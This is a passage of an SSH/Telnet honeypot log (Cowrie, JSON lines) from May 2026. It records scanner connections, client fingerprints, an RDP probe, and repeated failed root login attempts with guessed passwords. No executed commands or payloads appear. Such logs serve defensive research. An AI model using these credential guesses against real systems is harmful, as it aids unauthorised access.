{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:00.304562Z","src_ip":"43.159.35.21","session":"c5718de1af9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123456","message":"login attempt [root/q123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:01.287909Z","src_ip":"43.159.35.21","session":"c5718de1af9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45642,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd3a8bb7378","protocol":"telnet","message":"New connection: 152.42.224.71:45642 (10.17.0.5:23) [session: 4dd3a8bb7378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:01.549956Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62246,"dst_ip":"10.17.0.5","dst_port":22,"session":"92dcfa13b2d5","protocol":"ssh","message":"New connection: 152.42.212.128:62246 (10.17.0.5:22) [session: 92dcfa13b2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:01.932493Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:01.939803Z","src_ip":"152.42.212.128","session":"92dcfa13b2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:01.947322Z","src_ip":"152.42.212.128","session":"92dcfa13b2d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:02.533433Z","src_ip":"43.159.35.21","session":"c5718de1af9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59210,"dst_ip":"159.203.135.109","dst_port":22,"session":"20c5e5f57ca5","protocol":"ssh","message":"New connection: 185.236.22.41:59210 (159.203.135.109:22) [session: 20c5e5f57ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:07.258085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:07.264196Z","src_ip":"185.236.22.41","session":"20c5e5f57ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:07.373590Z","src_ip":"185.236.22.41","session":"20c5e5f57ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777555a","message":"login attempt [root/777555a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:07.722611Z","src_ip":"185.236.22.41","session":"20c5e5f57ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:08.837557Z","src_ip":"185.236.22.41","session":"20c5e5f57ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59062,"dst_ip":"10.17.0.5","dst_port":23,"session":"b456b97bbbee","protocol":"telnet","message":"New connection: 152.42.224.71:59062 (10.17.0.5:23) [session: b456b97bbbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:10.080342Z"}
{"eventid":"cowrie.session.closed","duration":12.231049299240112,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:10.797905Z","src_ip":"152.42.224.71","session":"9b141752a3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.1733238697052,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:15.577101Z","src_ip":"152.42.224.71","session":"d32078032498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":53464,"dst_ip":"10.17.0.5","dst_port":22,"session":"be46bba2d752","protocol":"ssh","message":"New connection: 79.132.141.112:53464 (10.17.0.5:22) [session: be46bba2d752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:20.757563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:20.762353Z","src_ip":"79.132.141.112","session":"be46bba2d752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:20.852236Z","src_ip":"79.132.141.112","session":"be46bba2d752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:21.233662Z","src_ip":"79.132.141.112","session":"be46bba2d752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":48808,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ae3a1339db","protocol":"ssh","message":"New connection: 194.147.93.208:48808 (10.17.0.5:22) [session: e3ae3a1339db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:21.505798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:21.510889Z","src_ip":"194.147.93.208","session":"e3ae3a1339db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:21.602185Z","src_ip":"194.147.93.208","session":"e3ae3a1339db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"edna","message":"login attempt [root/edna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:21.997901Z","src_ip":"194.147.93.208","session":"e3ae3a1339db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:22.323699Z","src_ip":"79.132.141.112","session":"be46bba2d752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:23.092270Z","src_ip":"194.147.93.208","session":"e3ae3a1339db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.74115324020386,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:29.746919Z","src_ip":"152.42.224.71","session":"ca82a31d8e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56060,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb84bd72ee32","protocol":"ssh","message":"New connection: 89.223.69.22:56060 (159.203.135.109:22) [session: bb84bd72ee32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:29.773081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:29.777610Z","src_ip":"89.223.69.22","session":"bb84bd72ee32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:29.895918Z","src_ip":"89.223.69.22","session":"bb84bd72ee32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rammstein","message":"login attempt [root/rammstein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:30.251468Z","src_ip":"89.223.69.22","session":"bb84bd72ee32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:31.372252Z","src_ip":"89.223.69.22","session":"bb84bd72ee32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":59198,"dst_ip":"10.17.0.5","dst_port":22,"session":"4348b1277fdd","protocol":"ssh","message":"New connection: 43.153.54.120:59198 (10.17.0.5:22) [session: 4348b1277fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:32.550332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:32.555292Z","src_ip":"43.153.54.120","session":"4348b1277fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:32.623127Z","src_ip":"43.153.54.120","session":"4348b1277fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd1234","message":"login attempt [root/passwd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:32.924330Z","src_ip":"43.153.54.120","session":"4348b1277fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:33.994596Z","src_ip":"43.153.54.120","session":"4348b1277fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33696,"dst_ip":"10.17.0.5","dst_port":23,"session":"da29150fa207","protocol":"telnet","message":"New connection: 152.42.224.71:33696 (10.17.0.5:23) [session: da29150fa207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:39.146979Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c591b91d5e","protocol":"telnet","message":"New connection: 152.42.224.71:33698 (10.17.0.5:23) [session: b4c591b91d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:41.145962Z"}
{"eventid":"cowrie.session.closed","duration":42.803900957107544,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:52.884033Z","src_ip":"152.42.224.71","session":"b456b97bbbee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.20946383476257,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:00.757630Z","src_ip":"152.42.224.71","session":"4dd3a8bb7378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":34136,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b4c711ddc0","protocol":"ssh","message":"New connection: 62.193.106.227:34136 (10.17.0.5:22) [session: 59b4c711ddc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:09.021451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:09.027845Z","src_ip":"62.193.106.227","session":"59b4c711ddc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:09.179884Z","src_ip":"62.193.106.227","session":"59b4c711ddc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celia123","message":"login attempt [root/celia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:09.793931Z","src_ip":"62.193.106.227","session":"59b4c711ddc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d2c80d22bc","protocol":"telnet","message":"New connection: 152.42.224.71:40990 (10.17.0.5:23) [session: 66d2c80d22bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:10.175625Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54086,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2cd92b302e3","protocol":"ssh","message":"New connection: 193.32.162.145:54086 (10.17.0.5:22) [session: e2cd92b302e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:10.683934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:10.689507Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh